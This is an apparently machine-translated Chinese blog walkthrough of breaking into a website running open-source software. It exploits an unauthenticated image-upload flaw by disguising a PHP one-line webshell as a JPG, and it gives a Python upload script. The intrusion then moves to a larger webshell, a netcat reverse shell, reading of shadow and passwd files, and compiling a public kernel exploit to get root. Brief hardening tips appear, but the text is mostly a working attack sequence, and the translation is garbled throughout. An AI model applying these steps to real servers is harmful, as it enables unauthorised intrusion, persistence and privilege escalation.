
它不见了. .
查找开源Web软件漏洞
首先,在网站上查找该软件的任何公共漏洞. 如果找不到,您可以自己下载软件进行测试,然后仔细检查逻辑或编码问题.
幸运的是,我前段时间在一个安全论坛上发现了该软件,并暴露了一个图像上传漏洞: 漏洞的原因: 1.没有在后台图像上传界面上进行权限验证; 2.上传的图像不正确检查后缀名称是否为jpgbash 提权漏洞,jpeg,png,gif. 漏洞的后果: 1.任何用户都可以通过界面上传图片; 2.伪装成图片的脚本文件将在上传后进行解析. 解决方案: 1.做权限验证; 2.对上传的图像文件进行后缀名称验证; 3.您还可以将上传的文件存储在OSS上.
这么快就找到了突破口,哈哈.
造像马
由于这是一个图片上传漏洞,所以接下来,我需要假装成为图片马,并将测试上传到客户网站.
警告: 为了不影响被测网站,文本中使用的木马文件均为空文件.
Windows系统:
copy tp.jpg/b+yjh.php tpyjh.jpg
/**
* tp.jpg:普通图片
* yjh.php:一句话木马
* tpyjh.php:生成的伪装为图片的一句话木马
*/
Linux系统:
cat tp.jpg/b yjh.php > tpyjh.jpg
/**
* tp.jpg:普通图片
* yjh.php:一句话木马
* tpyjh.php:生成的伪装为图片的一句话木马
*/
编写上传脚本以测试漏洞
#!/usr/bin/python
# -*- coding: utf-8 -*-
# test_upload.py
import requests
import random
url_base = [待测试网站的根域名]
def requests_post(url, data, files):
temp = None
headers = get_header()
try:
temp = requests.post(url, data=data, files=files, headers=headers, timeout=5)
except ValueError, e:
return False
return temp
def get_header():
user_agent_list = [
'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95',
'Safari/537.36 OPR/26.0.1656.60',
'Opera/8.0 (Windows NT 5.1; U; en)',
'Mozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.50',
'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0',
'Mozilla/5.0 (X11; U; Linux x86_64; zh-CN; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 '
'(maverick) Firefox/3.6.10',
'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) '
'Chrome/39.0.2171.71 Safari/537.36',
'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 '
'(KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11',
]
UserAgent = random.choice(user_agent_list)
header = {'User-Agent': UserAgent}
return header
if __name__ == '__main__':
data = {
"file_path": "upload/common/"
}
files = {
"file_upload": ("tpyjh.php", open("tpyjh.php", "rb"), "image/png")
}
url = url_base + 'index.php?s=/admin/upload/uploadfile'
res = requests_post(url, data, files)
print res.status_code
print res.text.decode('unicode_escape')
上传测试:
上传成功,并返回了Trojan路径: upload / common / 1565530537.php
斩波器连接测试,getshell!
提示: 如果要防止某人通过上传漏洞恶意上传Trojan文件,请确保关闭上传目录的写入和执行权限!
通过上述操作,我发现此上载目录的执行权限未关闭,因此写权限应为八或九,没有太多限制,因此我找到了一个Internet上具有较高权限的马来西亚人并将其通过起来. 马来西亚之所以能够通过,是因为一般而言,小马的可操作权力相对较小,并且容易被杀死. 如果上传高度隐藏的内容(添加修饰符,混淆和其他方法可以避免签名代码被杀死),则具有较大权限的马可以长时间隐藏在服务器中,这便于升级.
提示: 要杀死服务器上的木马,您只能使用关键字或功能代码来杀死非常愚蠢的木马. 如果攻击者没有杀死,就很难找到.
上载杀死马来西亚

将马来西亚上传到服务器:
马来西亚入口
马来西亚管理界面
注意: 请不要随意使用它. 在网上宣布的10个马来西亚人中,马来西亚有10个后门!这就是人们所说的黑吃黑!如果您使用从Internet下载的马来西亚测试服务器,则马来西亚发布者可能会使用它,从而造成无法弥补的损失!
弹跳壳
由于在马来西亚缺少许多权限,并且网页操作不便,因此此时需要一个反弹壳,以通过命令行方便目标主机的操作.
对于回弹操作,需要外部网络计算机,即使它不是外部网络也可以映射. 如果是外部服务器,则更加简单. 由于Xiao Hei手里有一些空闲的测试服务器,因此为了方便起见,他直接通过服务器重新建立了连接.
端口:
执行反弹命令的方法有很多. 不同的目标主机支持不同的执行方法. 经过测试,我选择了NC回弹: 开始回弹〜
反弹连接成功!
许可能会觉得在此步骤中,他们似乎已经具有root权限,并且似乎可以控制整个目标主机. 但是,这并不是那么简单. 首先查看我当前是哪个用户:
实际上,您无需看就能猜出Nginx或Apache,因为我们是通过Web连接的,并且它是用php编写的程序. 不相信?查看我们当前连接到的目录:
最初的职位是在马来西亚. 没问题但是在操作过程中,我发现无论我如何切换路径,似乎都在当前目录下,这太不方便了!
所以我换了马,并通过Python弹跳了弹壳.
连接成功!并测试了命令行.
好〜看来很正常.
查看系统信息
首先检查阴影文件和passwd文件.
提示: 小黑有一个习惯. 如果他可以进入目标主机的根目录,则黑河将首先查看影子文件和passwd的权限,然后继续执行下一个操作(权限似乎不足并丢失).
检查内核版本:
Linux 10-10-34-187 3.10.0-123.4.4.el7.x86_64 #1 SMP Fri Jul 25 05:07:12 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

阅读/ proc / version以获取LinuxKernel版本:
Linux version 3.10.0-123.4.4.el7.x86_64 (builder@kbuilder.dev.centos.org) (gcc version 4.8.2 20140120 (Red Hat 4.8.2-16) (GCC) ) #1 SMP Fri Jul 25 05:07:12 UTC 2014
检查CentOS版本:
EXP提升的权限
检查后发现linux的内核版本为: Linux 3.10.0-123.4.4.el7.x86_64 CentOS
因此,我们需要找到支持本书的Exp. Exp简介:
搜索后,找到内核Exp,该内核可用于将特权提升给root用户.
提示: 功率升级有很多姿势. 在这里,请先尝试内核功耗提升.
将Exp上载到目标主机的/ tmp /目录:
签出:
编译Exp:
尴尬〜错误地报告:
gcc: error trying to exec 'cc1': execvp: No such file or directory
# 没有该文件或目录的错误
输入: whereis gcc
我在/ usr / bin / gcc中找到了一个gcc
所以我尝试设置PATH路径,命令如下:
export PATH=/usr/bin:$PATH(根据你自己的位置进行重设)
继续编译:
40616.c: In function 'procselfmemThread':
40616.c:99:9: warning: passing argument 2 of 'lseek' makes integer from pointer without a cast [enabled by default]
lseek(f,map,SEEK_SET);
^
In file included from 40616.c:28:0:
/usr/include/unistd.h:334:16: note: expected '__off_t' but argument is of type 'void *'
extern __off_t lseek (int __fd, __off_t __offset, int __whence) __THROW;
^
/tmp/ccacvdug.o: In function `main':
40616.c:(.text+0x39d): undefined reference to `pthread_create'
40616.c:(.text+0x3b8): undefined reference to `pthread_create'
40616.c:(.text+0x3d1): undefined reference to `pthread_create'
40616.c:(.text+0x3e5): undefined reference to `pthread_join'
collect2: error: ld returned 1 exit status
报告了另一个错误,打开文件并查看了该文件,发现缺少参数pthread. 继续编译:
在编译过程中会出现一些警告,并且只要ls验证编译成功即可将其直接忽略:

检查我们当前的ID,我的当前uid是997,属于普通用户:
运行Exp:
Exp完成执行,发现当前登录的用户名已更改为Root. 打印id,此时uid为0,它成为超级用户. 换句话说,此时我已经可以控制整个服务器,并且我可以做任何我想做的事.
本文来自电脑杂谈,转载请注明本文网址:
https://www.pc-fly.com/a/jisuanjixue/article-235464-1.html
不想你变的憔悴”感触良多